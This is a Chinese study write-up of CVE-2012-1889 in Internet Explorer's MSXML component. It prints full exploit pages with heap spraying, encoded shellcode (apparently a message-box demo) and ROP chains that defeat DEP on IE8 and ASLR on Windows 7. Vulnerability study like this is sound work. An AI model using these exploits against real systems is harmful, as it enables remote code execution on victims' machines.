软件名称:Microsoft Internet Explorer 软件版本:6.0\8.0 漏洞模块:msxml3.dll 模块版本:-- 编译日期:2008-04-14 | 操作系统:Windows XP/7 漏洞编号:CVE-2012-1889 危害等级:高危 漏洞类型:缓冲区溢出 威胁类型:远程 |
2018年5月25日
目录
-
软件简介
Microsoft XML Core Services(MSXML)是一组用于用Jscript、VBScript、Microsoft开发工具编写构筑基于XML的Windows-native应用的服务。
-
漏洞成因
Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。
-
利用过程
3.1 Win xp + IE6环境
-
运行网络收集到的Poc1,代码如下:
在windows XP + IE6的环境下用windbg附加调试,程序运行并且崩溃,中断处如图:
可知导致问题出现的数据来自于栈中。
-
运行网络收集到的Poc2进行测试,代码如下:
结果如下:
大致查看这段代码,可以发现构造了一个0x1000大小的数据块,这个数据块导致了缓冲区溢出,此时从这个地址(0c0c0c0c)这个地址取数据导致访问错误,查看网上的资料结合可知方法调用了definition函数,而MSDN中definition作为属性使用,作为属性的成员当做了方法使用因此触发了漏洞。
由此可以确定使用堆喷射技术来构造攻击代码。
申请大量的堆内存,用滑板指令(如:0x90)和ShellCode的"内存片"覆盖这些内存。
查阅网络资料可知,JavaScript会从内存的低地址向搞地址分配内存,因此申请的内存超过200MB(200MB = 200 * 1024 * 1024 = 0xc800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被包含有ShellCode和滑板指令的内存覆盖。只要0x0c0c0c0c命中任意一个滑板指令,都会滑向ShellCode中。
<html>
<head>
<title>CVE 2012-1889 PoC Red_Magic_ver.7</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1. 准备好Shellcode(unescape()是解码函数)
var cShellcode = unescape( "\uEC81\u0200\u0000\u5BEB\u6148\u6B63\u6465\u6220\u2079\u6552\u5F64\u614D\u6967\u0063\u6157\u6E72\u6E69\u0067\u7845\u7469\u7250\u636F\u7365\u0073\u654D\u7373\u6761\u4265\u786F\u0041\u7375\u7265\u3233\u642E\u6C6C\u4C00\u616F\u4C64\u6269\u6172\u7972\u0041\u6547\u5074\u6F72\u4163\u6464\u6572\u7373\uE800\u0000\u0000\u645A\u1D8B\u0030\u0000\u4B8B\u8B0C\u1C49\u098B\u698B\u8B08\u3C45\u4C8B\u7805\uCD03\u598B\u8B20\u1441\uDD03\u8B48\u8334\uF503\u7A8B\u39EC\u753E\u8BF3\uF07A\u7E39\u7504\u8BEB\uF47A\u7E39\u7508\u8BE3\uF77A\u7E39\u750B\u8BDB\u2459\uDD03\u8B66\u4304\u598B\u031C\u8BDD\u833C\uFD03\uF78B\u428D\u52DF\u5550\uD6FF\uD88B\u8D5A\uD442\u5052\uD3FF\uF88B\u8D5A\uC842\u5052\uFF57\u5AD6\uD88B\u428D\u52BC\u5550\uD6FF\u605A\u4A8D\u8DB4\uA072\u006A\u5651\u006A\uD3FF\u6A61\uFF00\u00D0");
// 2. 制作一块数据
// 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
var nSlideSize = 1024*1024 / 2; // 一个划板指令区的大小(1MB)
var nMlcHadSize = 32 / 2; // 堆头部大小
var nStrLenSize = 4 / 2; // 堆长度信息大小
var nTerminatorSize = 2 / 2; // 堆结尾符号大小
var nScSize = cShellcode.length; // Shellcode大小
var nFillSize = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;
// 2.2 填充滑板指令,制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C"); // 划板指令 0C0C OR AL,0C
var cSlideData = new Array(); // 申请一个数组对象用于保存划板数据
while (cFillData.length <= nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize);
// 3. 填充200MB的内存区域(申请200块1MB大小的划板数据区),试图覆盖0x0C0C0C0C
// 区域,每块划板数据均由 划板数据+Shellcode 组成,这样只要任意一块划板数据
// 正好落在0x0C0C0C0C处,大量无用的"OR AL,0C"就会将执行流程引到划板数据区后面的Shellcode处,进而执行Shellcode。
for (var i = 0; i < 200; i++)
cSlideData[i] = cFillData + cShellcode;
// 4. 触发CVE 2012-1889漏洞
// 4.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 4.2 构建一个长度为0x1000-10=8182,起始内容为"\\15PB_Com"字节的数据
var srcImgPath = unescape("\u0C0C\u0C0C");
while (srcImgPath.length < 0x1000)
srcImgPath += srcImgPath;
srcImgPath = "\\\\15PB_Com" + srcImgPath;
srcImgPath = srcImgPath.substr(0, 0x1000-10);
// 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srcImgPath;
emtPic.nameProp;
// 4.4 定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html>
测试结果成功。
3.2 Win xp + IE8环境
新的问题:IE8在xp环境下相比于IE7多了数据执行保护(DEP),所以将用到Ret2Libc技术,即利用ret指令连续的调用程序代码本身的内存地址,来达到调用VirtualProtect函数来关闭DEP。
需要注意的几点:
-
溢出的数据需要修改为0c0c0c08h,0c0c0c0ch处数据需修改为ret指令,否则xchg eax,esp;ret指令执行后esp指向0c0c0c0ch处,数据仍然是0c0c0c0ch这时候还未关闭DEP触发保护会失败。
-
Xp+IE8环境下内存块为0x40000,有0x02的块起始和0x21的块结尾,故构造数据块时要在头尾预留出这两个部分的大小。
cBlock = cBlock.substring(2, nBlockSize-0x21);
-
因为有 dep 所以要使用精确堆喷射技术,栈溢出的数据的指向的位置需是我们构造的堆空间的第一条。
-
精确堆喷射的原理和公式 :
原理:利用windbg查看指向地址的页首地址,利用公式计算偏移。偏移处放置Ret2Libc链,之后放ShellCode。
公式:(目标地址-页首地址)%1000/2
攻击代码如下:
<html>
<head>
<title>CVE-2012-1889 By:PineCone</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1. 生成Padding
var cPadding = unescape("\u0C0C\u0C0C");
while (cPadding.length < 0x1000)
cPadding += cPadding;
cPadding = cPadding.substring(0, 0x5F6);
// 2. 制作Ret2Libc
var cRet2Libc = unescape(
// 0x0C0C0C0C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step3
// 0x0C0C0C10 | 0x77BF398F : # POP EBP # RETN [msvcrt.dll] <-ROP Step4 跳过4字节(0x0C0C0C18)
// 0x0C0C0C14 | 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll] <-ROP Step2
// 0x0C0C0C18 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step5
// 0x0C0C0C1C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step6
// 0x0C0C0C20 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step7
// 0x0C0C0C24 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step1/Step8
//
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u398F\u77BF" + // 0x77BF398F : # POP EBP # RETN [msvcrt.dll]
"\uA891\u77C0" + // 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry
//
// 0x0C0C0C28 | 0x7C801AD4 : # Return to VirtualProtect <-ROP Step9
// 0x0C0C0C2C | 0x0C0C0C40 : # Return Addr(Payload Addr) <-ROP Step10
// 0x0C0C0C30 | 0x0C0C0C40 : # lpAddress = Payload Addr
// 0x0C0C0C34 | 0x00001000 : # dwSize = 0x00001000
// 0x0C0C0C38 | 0x00000040 : # flNewProtect = 0x00000040
// 0x0C0C0C3C | 0x77C2EFFC : # lpflOldProtect = 0x77C2EFFC
//
"\u1AD4\u7C80" + // 0x7C801AD4 : # Return to VirtualProtect
"\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)
"\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress = Payload Addr
"\u1000\u0000" + // 0x00001000 : # dwSize = 0x00001000
"\u0040\u0000" + // 0x00000040 : # flNewProtect = 0x00000040
"\uEFFC\u77C2" );// 0x77C2EFFC : # lpflOldProtect = 0x77C2EFFC
// 3. 准备好Payload(unescape()是解码函数)
var cPayload = unescape(
"\u8360\u20EC\u49EB\u6547\u5074\u6F72\u4163\u6464"+
"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579"+
"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D"+
"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250"+
"\u636F\u7365\u0073\u6950\u656E\u6F43\u656E\uE800"+
"\u0000\u0000\u645B\u358B\u0030\u0000\u768B\u8B0C"+
"\u1C76\u368B\u568B\u5308\uE852\u0014\u0000\uF08B"+
"\u4B8D\u52C0\u5251\uD0FF\u535A\u5056\uE852\u006E"+
"\u0000\u8B55\u83EC\u0CEC\u8B52\u0855\u728B\u8D3C"+
"\u3234\u768B\u8D78\u3234\u7E8B\u8D1C\u3A3C\u7D89"+
"\u8BFC\u207E\u3C8D\u893A\uF87D\u7E8B\u8D24\u3A3C"+
"\u7D89\u33F4\uEBC0\u4001\u758B\u8BF8\u8634\u558B"+
"\u8D08\u3234\u5D8B\u8D0C\uB27B\u0EB9\u0000\uFC00"+
"\uA6F3\uE375\u758B\u33F4\u66FF\u3C8B\u8B46\uFC55"+
"\u348B\u8BBA\u0855\u048D\u5A32\uE58B\uC25D\u0008"+
"\u8B55\u83EC\u08EC\u5D8B\u8D14\uCF4B\u006A\u006A"+
"\uFF51\u0C55\u4B8D\u51DA\uFF50\u1055\u4589\u8DFC"+
"\uE64B\uFF51\u0875\u55FF\u8910\uF845\u4B8D\u6AF2"+
"\u5100\u6A51\uFF00\uFC55\u006A\u55FF\u8BF8\u5DE5"+
"\u10C2\u0000"
);
// 4. 准备好FillData
// 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
var nSlideSize = 0x1000; // 一个滑板指令块的大小(4KB)
var nPadSize = cPadding.length; // Padding大小
var nR2LSize = cRet2Libc.length; // Ret2Libc大小
var nPySize = cPayload.length; // Shellcode大小
var nFillSize = nSlideSize-nPadSize-nR2LSize-nPySize;
// 4.2 制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C");
while (cFillData.length < nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize);
// 5. 构建滑板指令数据块
var nBlockSize = 0x40000; // 256KB
var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
while (cBlock.length < nBlockSize)
cBlock += cBlock;
cBlock = cBlock.substring(2, nBlockSize-0x21);
// 6. 填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
// 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
// 正好落在0x0C0C0C0C处,大量无用的"OR AL,0C"就会将执行流程引到滑板数据区
// 后面的Shellcode处,进而执行Shellcode。
var cSlideData = new Array();
for (var i = 0; i < 800; i++)
cSlideData[i] = cBlock.substr(0, cBlock.length);
// 7. 触发CVE 2012-1889漏洞
// 7.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 7.2 构建一个长度为0x1000-10=8182,起始内容为"\\15PB"字节的数据
var srcImgPath = unescape("\u0C0C\u0C08");
while (srcImgPath.length < 0x1000)
srcImgPath += srcImgPath;
srcImgPath = "\\\\15PB_Com" + srcImgPath;
srcImgPath = srcImgPath.substr(0, 0x1000-10);
// 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srcImgPath;
emtPic.nameProp;
// 7.4 定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html>
3.3 Win7 + IE8环境
新的问题:因为ASLR的引入,所有的API的地址都随机化了,栈的骑士地址也随机化了,因此无法再轻松的使用Ret2Libc的方式来攻破DEP。
在这里使用未开启ASLR的模块的IAT来稳定的间接获取目标API,但由于是使用了二级指针的方式来使用(IAT表里存的是函数指针),所以我们利用 JMP [eax]指令来完成对指定函数的调用。
ROP的简介:ROP即返回导向编程,原理简略来说就是在内存中寻找诸多有意义的指令序列,并通过ret将其连接起来,构成一个特定的攻击逻辑,因此理论上来讲Ret2Libc是ROP的一个子集。
构造如下:
"\u1123\u7C34" + // 0x7C341123 : # POP EDI # RETN
"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP)
"\u1920\u7C34" + // 0x7C341920 : # POP ESI # RETN
//由此处转到virtualProtect函数
"\u5506\u7C36" + // 0x7C365506 : # JMP [EAX]
//又此处跳过eax在栈中的位置到再跳到push esp #RETN
"\uBB22\u7C34" + // 0x7C34BB22 : # POP EBP # RETN
"\uBB22\u7C34" + // 0x7C34BB22 : # POP EBP # RETN
"\u3866\u7C34" + // 0x7C343866 : # POP EBX # RETN
"\u1000\u0000" + // 0x00001000 : # dwSize = 0x1000
"\u3EE0\u7C34" + // 0x7C343EE0 : # POP EDX # RETN
"\u0040\u0000" + // 0x00000040 : # NewProtect = 0x40
"\u7225\u7C34" + // 0x7C347225 : # POP ECX # RETN
"\uCFFC\u7C38" + // 0x7C38CFFC : # &Writable location
"\u66FF\u7C37" + // 0x7C3766FF : # POP EAX # RETN
"\uA151\u7C37" + // 0x7C37A151 : # VirtualProtect Addr
"\u8C81\u7C37" + // 0x7C378C81 : # PUSHAD # ADD AL,0EF # RETN
//防止shellcode的头四个字节被当做地址
"\u5C30\u7C34" );// 0x7C345C30 : # # PUSH ESP # RETN
-
结语
暴雷漏洞的利用对于栈的变化和操作的理解要求很高,是对栈操作和和理解的绝佳练习。
-
参考资料
王清《0day 安全:软件漏洞分析技术(第 2 版)》2011-06
-